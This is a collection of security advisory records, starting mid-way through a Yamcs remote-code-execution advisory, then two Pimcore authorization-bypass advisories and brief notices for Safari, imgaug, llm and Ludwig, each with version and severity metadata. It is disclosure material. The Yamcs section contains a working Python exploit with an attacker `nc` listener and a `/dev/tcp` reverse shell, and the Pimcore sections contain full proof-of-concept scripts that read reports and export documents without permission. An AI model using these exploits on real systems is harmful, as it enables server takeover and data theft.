`ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`) → `scriptEngine.eval(...)`. ## PoC Run against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`). Attacker-side listener: ``` nc -lvnp 4444 ``` ```python #!/usr/bin/env python3 """ Usage: python3 <poc>.py http://target:8090 LHOST LPORT """ import json, sys, time, urllib.request TARGET = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = int(sys.argv[3]) INSTANCE = "simulator" PROCESSOR = "realtime" ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg" # Close the generated wrapper function with `}`, execute the payload at # top level, then re-open a dummy function so the trailing `}` emitted # by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired. payload = ( '} ' 'Java.type("java.lang.Runtime").getRuntime().exec(' f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); ' 'function _x(){' ) patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}" def http(method, url, body=None): req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None, method=method, headers={"Content-Type": "application/json"}) return urllib.request.urlopen(req, timeout=10).read() http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}}) time.sleep(2) http("PATCH", patch, {"action": "RESET"}) ``` <img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br> The override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload — like the one above — succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream. ## Impact Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls. For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive. Who is impacted: - **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`). - **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server. ## Affected Versions All Yamcs releases that ship the algorithm override endpoint are affected — no `ClassFilter` has ever been applied to the script engine. - **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`. - **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical. - **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) — no upstream fix exists. In short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).

critical

2026-05-28 01:45:49+03:00

2026-05-28 01:45:50+03:00

['https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75', 'https://github.com/advisories/GHSA-vmwp-vh32-rj75']

[{'package': {'name': 'org.yamcs:yamcs-core', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '5.12.7', 'vulnerable_version_range': '< 5.12.7'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}, {'name': "Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", 'cwe_id': 'CWE-95'}, {'name': "Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')", 'cwe_id': 'CWE-470'}]

376609d0ffbd8470deec16bac93ce8760d626f3239fdd551df2ff232c3ba8269

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-jwcc-gv4m-93x6

CVE-2026-45704

Pimcore has a CustomReports Share Bypass

### Summary `CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint. - The listing flow filters reports based on report-sharing rules - The detail flow only checks generic `reports` or `reports_config` permissions As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list. In the local Docker reproduction: - The report `poc-secret-report` was not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name ### Root Cause The listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253) - [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44) - [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52) However, `getAction()` only checks generic permissions and then loads the report directly by name: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155) This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass. ### Impact An attacker can read sensitive report metadata without authorization, including: - Report name - Grouping information - Display and icon metadata - Data source configuration - Column configuration - Sharing settings From the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313) This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately. ### Preconditions - The attacker is an authenticated backend user - The attacker has the `reports` permission - The target report is not globally shared and is not shared with that user or the user's roles ### PoC ```php <?php declare(strict_types=1); use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController; use Pimcore\Controller\UserAwareController; use Pimcore\Model\User; use Pimcore\Model\Tool\SettingsStore; use Pimcore\Security\User\TokenStorageUserResolver; use Pimcore\Security\User\User as SecurityUser; use Pimcore\Serializer\Serializer as PimcoreSerializer; use Pimcore\Tool\Authentication; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage; require dirname(__DIR__) . '/vendor/autoload.php'; define('PIMCORE_PROJECT_ROOT', dirname(__DIR__)); try { \Pimcore\Bootstrap::bootstrap(); $kernel = new \App\Kernel('dev', true); \Pimcore::setKernel($kernel); $kernel->boot(); $container = $kernel->getContainer(); /** @var RequestStack $requestStack */ $requestStack = getService($container, [ RequestStack::class, 'request_stack', ]); $admin = User::getByName('admin'); if (!$admin instanceof User) { fail('admin user is missing'); } $auditor = User::getByName('auditor_customreports'); if (!$auditor instanceof User) { $auditor = new User(); $auditor->setParentId(0); $auditor->setName('auditor_customreports'); } $auditor->setAdmin(false); $auditor->setActive(true); $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass')); $auditor->setPermissions(['reports']); $auditor->setRoles([]); $auditor->save(); $timestamp = time(); SettingsStore::set( 'poc-secret-report', json_encode([ 'name' => 'poc-secret-report', 'niceName' => 'PoC Secret Report', 'group' => 'Audit', 'dataSourceConfig' => [['type' => 'sql']], 'columnConfiguration' => [], 'shareGlobally' => false, 'sharedUserNames' => ['admin'], 'sharedRoleNames' => [], 'menuShortcut' => true, 'creationDate' => $timestamp, 'modificationDate' => $timestamp, ], JSON_THROW_ON_ERROR), SettingsStore::TYPE_STRING, 'pimcore_custom_reports' ); $tokenResolver = buildTokenResolver($auditor); $controller = wireController(new CustomReportController(), $container, $tokenResolver); $listRequest = new Request(); $requestStack->push($listRequest); $listResponse = $controller->getReportConfigAction($listRequest); $requestStack->pop(); $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $getRequest = new Request(['name' => 'poc-secret-report']); $requestStack->push($getRequest); $getResponse = $controller->getAction($getRequest); $requestStack->pop(); $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []); echo json_encode([ 'vulnerability' => 'customreports_share_bypass', 'user' => [ 'id' => $auditor->getId(), 'name' => $auditor->getName(), 'permissions' => $auditor->getPermissions(), ], 'target_report' => [ 'name' => 'poc-secret-report', 'shared_to' => ['admin'], 'share_globally' => false, ], 'result' => [ 'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true), 'listed_report_names' => $listedNames, 'direct_get_returned_name' => $getData['name'] ?? null, 'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null, ], ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL; } catch (Throwable $e) { fail(sprintf( '%s: %s in %s:%d%s', $e::class, $e->getMessage(), $e->getFile(), $e->getLine(), $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : '' )); } function wireController( UserAwareController $controller, ContainerInterface $container, TokenStorageUserResolver $tokenResolver ): UserAwareController { $controller->setContainer($container); $controller->setTokenResolver($tokenResolver); if (method_exists($controller, 'setPimcoreSerializer')) { /** @var PimcoreSerializer $serializer */ $serializer = getService($container, [ PimcoreSerializer::class, 'Pimcore\\Serializer\\Serializer', ]); $controller->setPimcoreSerializer($serializer); } return $controller; } function buildTokenResolver(User $user): TokenStorageUserResolver { $tokenStorage = new TokenStorage(); $proxyUser = new SecurityUser($user); $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles()); $tokenStorage->setToken($token); return new TokenStorageUserResolver($tokenStorage); } function getService(ContainerInterface $container, array $ids): mixed { foreach ($ids as $id) { try { if ($container->has($id)) { return $container->get($id); } } catch (Throwable) { } } fail('Unable to resolve service: ' . implode(', ', $ids)); } function fail(string $message): never { fwrite(STDERR, $message . PHP_EOL); exit(1); } ``` ### Reproduction Steps 1. Create a low-privileged user named `auditor_customreports` with the `reports` permission. 2. Create a report named `poc-secret-report` with: - `shareGlobally = false` - `sharedUserNames = ['admin']` 3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent. 4. As the same user, call `getAction(name=poc-secret-report)` directly. 5. Verify that the response still contains the report configuration. Reproduction command: ```bash cd pimcore-12.3.3-repro docker compose exec -T php php poc_customreports.php ``` ### Reproduction Result Relevant PoC output: ```json { "vulnerability": "customreports_share_bypass", "user": { "name": "auditor_customreports", "permissions": [ "reports" ] }, "target_report": { "name": "poc-secret-report", "shared_to": [ "admin" ], "share_globally": false }, "result": { "report_visible_in_list": false, "listed_report_names": [], "direct_get_returned_name": "poc-secret-report", "direct_get_shared_user_names": [ "admin" ] } } ``` This shows that: - The current user cannot see the report in the visible report list - The same user can still retrieve the report configuration directly This confirms that the share-bypass issue is practically exploitable. ### Security Impact - Unauthorized disclosure of report configuration - Disclosure of sharing scope and internal report structure - Potential leakage of data-source and query organization details - Useful reconnaissance for follow-on unauthorized execution or export paths ### Remediation 1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`. 2. Centralize authorization into a single "can current user access this report?" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`. 3. Return `403` for unshared reports. 4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.

high

2026-05-28 01:34:01+03:00

2026-05-28 01:34:01+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6', 'https://github.com/pimcore/pimcore/pull/19099', 'https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e', 'https://github.com/pimcore/pimcore/releases/tag/v12.3.6', 'https://github.com/advisories/GHSA-jwcc-gv4m-93x6']

[{'package': {'name': 'pimcore/pimcore', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '12.3.6', 'vulnerable_version_range': '<= 12.3.5'}]

{'score': None, 'vector_string': None}

[{'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

e9a9a0a8194f797147b08b0071e89108580e05920fe2e4f322f85b04b4267d26

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-332x-r494-54fq

CVE-2026-45703

Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export

### Summary The `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document. In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view: - `POC-WORDEXPORT-TITLE` - `POC-WORDEXPORT-DESC` ### Root Cause The controller only performs a feature-level permission check before starting the export flow: - [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)#L41) - [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)#L44) It then directly resolves the target element from attacker-controlled `type/id` input: - [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56) - [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)#L58) For document-like elements such as `Page` and `Snippet`, it renders content in an admin context: - [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72) - [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113) - [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114) No object-level authorization check such as `isAllowed('view')` is enforced on the target element. ### Affected Scope Based on the source code, the following element types may be affected: - `page` - `snippet` - `email` - `object` For page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content. ### Preconditions - The attacker is an authenticated backend user - The attacker has the `word_export` permission - The attacker does not have `view` permission on the target document ### Reproduction Environment - Reproduction root: `pimcore-12.3.3-repro` - Standalone PoC script: [[poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)](pimcore-12.3.3-repro/tools/poc_wordexport.php) ```php <?php declare(strict_types=1); use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController; use Pimcore\Controller\UserAwareController; use Pimcore\Model\Document\Page; use Pimcore\Model\User; use Pimcore\Security\User\TokenStorageUserResolver; use Pimcore\Security\User\User as SecurityUser; use Pimcore\Serializer\Serializer as PimcoreSerializer; use Pimcore\Tool\Authentication; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\Filesystem\Filesystem; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage; require dirname(__DIR__) . '/vendor/autoload.php'; define('PIMCORE_PROJECT_ROOT', dirname(__DIR__)); try { \Pimcore\Bootstrap::bootstrap(); $kernel = new \App\Kernel('dev', true); \Pimcore::setKernel($kernel); $kernel->boot(); $container = $kernel->getContainer(); /** @var RequestStack $requestStack */ $requestStack = getService($container, [ RequestStack::class, 'request_stack', ]); $admin = User::getByName('admin'); if (!$admin instanceof User) { fail('admin user is missing'); } $auditor = User::getByName('auditor_wordexport'); if (!$auditor instanceof User) { $auditor = new User(); $auditor->setParentId(0); $auditor->setName('auditor_wordexport'); } $auditor->setAdmin(false); $auditor->setActive(true); $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass')); $auditor->setPermissions(['word_export']); $auditor->setRoles([]); $auditor->setWorkspacesDocument([]); $auditor->setWorkspacesAsset([]); $auditor->setWorkspacesObject([]); $auditor->save(); $page = Page::getByPath('/poc-wordexport-secret-page'); if (!$page instanceof Page) { $page = new Page(); $page->setParentId(1); $page->setKey('poc-wordexport-secret-page'); } $page->setPublished(true); $page->setController('App\\Controller\\DefaultController::defaultAction'); $page->setTemplate('default/default.html.twig'); $page->setTitle('POC-WORDEXPORT-TITLE'); $page->setDescription('POC-WORDEXPORT-DESC'); $page->setProperty('language', 'text', 'en', false, true); $page->setUserOwner($admin->getId()); $page->setUserModification($admin->getId()); $page->save(); $canViewPage = $page->getDao()->isAllowed('view', $auditor); $tokenResolver = buildTokenResolver($auditor); $controller = wireController(new WordExportController(), $container, $tokenResolver); $exportId = 'wordexportpoc1'; $exportRequest = new Request([], [ 'id' => $exportId, 'data' => json_encode([ ['type' => 'document', 'id' => $page->getId()], ], JSON_THROW_ON_ERROR), 'source' => 'en', ]); $requestStack->push($exportRequest); $controller->wordExportAction($exportRequest, new Filesystem()); $requestStack->pop(); $downloadRequest = new Request(['id' => $exportId]); $requestStack->push($downloadRequest); $downloadResponse = $controller->wordExportDownloadAction($downloadRequest); $requestStack->pop(); $wordContent = (string) $downloadResponse->getContent(); echo json_encode([ 'vulnerability' => 'wordexport_authorization_bypass', 'user' => [ 'id' => $auditor->getId(), 'name' => $auditor->getName(), 'permissions' => $auditor->getPermissions(), ], 'target_page' => [ 'id' => $page->getId(), 'path' => $page->getFullPath(), 'title' => $page->getTitle(), 'description' => $page->getDescription(), 'user_can_view_page' => $canViewPage, ], 'result' => [ 'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'), 'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'), ], ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL; } catch (Throwable $e) { fail(sprintf( '%s: %s in %s:%d%s', $e::class, $e->getMessage(), $e->getFile(), $e->getLine(), $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : '' )); } function wireController( UserAwareController $controller, ContainerInterface $container, TokenStorageUserResolver $tokenResolver ): UserAwareController { $controller->setContainer($container); $controller->setTokenResolver($tokenResolver); if (method_exists($controller, 'setPimcoreSerializer')) { /** @var PimcoreSerializer $serializer */ $serializer = getService($container, [ PimcoreSerializer::class, 'Pimcore\\Serializer\\Serializer', ]); $controller->setPimcoreSerializer($serializer); } return $controller; } function buildTokenResolver(User $user): TokenStorageUserResolver { $tokenStorage = new TokenStorage(); $proxyUser = new SecurityUser($user); $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles()); $tokenStorage->setToken($token); return new TokenStorageUserResolver($tokenStorage); } function getService(ContainerInterface $container, array $ids): mixed { foreach ($ids as $id) { try { if ($container->has($id)) { return $container->get($id); } } catch (Throwable) { } } fail('Unable to resolve service: ' . implode(', ', $ids)); } function fail(string $message): never { fwrite(STDERR, $message . PHP_EOL); exit(1); } ``` ### Reproduction Steps 1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions. 2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values: - `title = POC-WORDEXPORT-TITLE` - `description = POC-WORDEXPORT-DESC` 3. Verify that the user does not have `view` permission on that page. 4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user. 5. Check whether the exported HTML contains the sensitive values. Reproduction command: ```bash cd pimcore-12.3.3-repro docker compose exec -T php php tools/poc_wordexport.php ``` ### Reproduction Result Relevant PoC output: ```json { "vulnerability": "wordexport_authorization_bypass", "user": { "name": "auditor_wordexport", "permissions": [ "word_export" ] }, "target_page": { "path": "/poc-wordexport-secret-page", "title": "POC-WORDEXPORT-TITLE", "description": "POC-WORDEXPORT-DESC", "user_can_view_page": false }, "result": { "download_contains_title": true, "download_contains_description": true } } ``` This shows that: - The user cannot view the target page - The exported file still contains the page's sensitive content This confirms that the issue is practically exploitable. ### Security Impact - Unauthorized disclosure of structured page fields - Unauthorized export of restricted backend content - Potential exposure of unpublished or otherwise restricted content - Lateral data access by low-privileged backend accounts ### Remediation 1. Perform object-level authorization immediately after resolving the element from `type/id`. 2. Require at least `view` permission on the target element. 3. Apply consistent authorization checks across `page`, `snippet`, `email`, and `object`. 4. Bind export creation and export download to the requesting user or an equivalent authorization context. 5. Add regression tests to ensure that users with `word_export` but without element `view` permission cannot export content.

medium

2026-05-28 01:27:18+03:00

2026-05-28 01:27:19+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq', 'https://github.com/pimcore/pimcore/pull/19112', 'https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1', 'https://github.com/pimcore/pimcore/releases/tag/v12.3.7', 'https://github.com/advisories/GHSA-332x-r494-54fq']

[{'package': {'name': 'pimcore/pimcore', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '12.3.7', 'vulnerable_version_range': '<= 12.3.6'}]

{'score': 6.4, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L'}

[{'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

10286d37141d973ad51b731f973d824237c849a93ac0e380ac0928e3c327c2ed

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-3555-mvv3-v5xj

CVE-2026-43708

The issue was addressed with improved input validation. This issue is fixed in Safari 26.5.2, iOS...

The issue was addressed with improved input validation. This issue is fixed in Safari 26.5.2, iOS 26.5.2 and iPadOS 26.5.2, macOS Tahoe 26.5.2. A malicious website may exfiltrate data cross-origin.

medium

2026-06-30 00:32:14+03:00

2026-06-30 03:32:30+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-43708', 'https://support.apple.com/en-us/127594', 'https://support.apple.com/en-us/127595', 'https://support.apple.com/en-us/127685', 'https://github.com/advisories/GHSA-3555-mvv3-v5xj']

[]

{'score': 4.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N'}

[{'name': 'Improper Input Validation', 'cwe_id': 'CWE-20'}]

4d67f2be00b82a94feae3586462b6789a5fb748d312a35aa7bce10f8fd38f5a6

2026-06-30 03:31:13.232398+03:00

2026-06-30 07:48:03.595014+03:00

GHSA-g82g-j283-hj97

CVE-2026-31235

imgaug contains an insecure deserialization vulnerability in BackgroundAugmenter class within multicore.py module

The imgaug library thru 0.4.0 contains an insecure deserialization vulnerability in its BackgroundAugmenter class within the multicore.py module. The class uses Python's pickle module to deserialize data received via a multiprocessing queue in the _augment_images_worker() method without any safety checks. An attacker who can influence the data placed into this queue (e.g., through social engineering, malicious input scripts, or a compromised shared queue) can provide a malicious pickle payload. When deserialized, this payload can execute arbitrary code in the context of the worker process, leading to remote or local code execution depending on the deployment scenario.

critical

2026-05-12 21:30:41+03:00

2026-05-28 01:25:43+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31235', 'https://github.com/aleju/imgaug', 'https://www.notion.so/CVE-2026-31235-35d1e139318881efb701d814228424a9', 'https://github.com/advisories/GHSA-g82g-j283-hj97']

[{'package': {'name': 'imgaug', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.4.0'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

cc9c4eef5f231bd296bc8c805b5089df582ac83d22530cfae4f24e35362621ea

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-g76p-4vg5-f4qh

CVE-2026-31236

llm CLI tool contains a code injection vulnerability via `--functions` command-line argument

The llm CLI tool thru 0.27.1 contains a critical code injection vulnerability via its --functions command-line argument. This argument is intended to allow users to provide custom Python function definitions. However, the tool directly executes the provided code using the unsafe exec() function without any sanitization, sandboxing, or security restrictions. An attacker can exploit this by crafting a malicious llm command with arbitrary Python code in the --functions argument and using social engineering to trick a victim into running it. This leads to arbitrary code execution on the victim's system, potentially granting the attacker full control.

critical

2026-05-12 21:30:41+03:00

2026-05-28 01:22:42+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31236', 'https://github.com/simonw/llm', 'https://www.notion.so/CVE-2026-31236-35d1e139318881a4a0f1fffcf671f7e3', 'https://github.com/advisories/GHSA-g76p-4vg5-f4qh']

[{'package': {'name': 'llm', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.27.1'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

ba19df44878b844b2c14343eda331f3e77392a240dfad0de2fb8b48fe8df94cf

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-wcr3-gm9f-f87q

CVE-2026-31237

Ludwig framework is vulnerable to insecure deserialization through its predict() method.

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.

critical

2026-05-12 21:30:41+03:00

2026-05-28 01:19:35+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31237', 'https://github.com/ludwig-ai/ludwig', 'https://www.notion.so/CVE-2026-31237-35d1e139318881fb95a2ee7c5d0e17d8', 'https://github.com/advisories/GHSA-wcr3-gm9f-f87q']

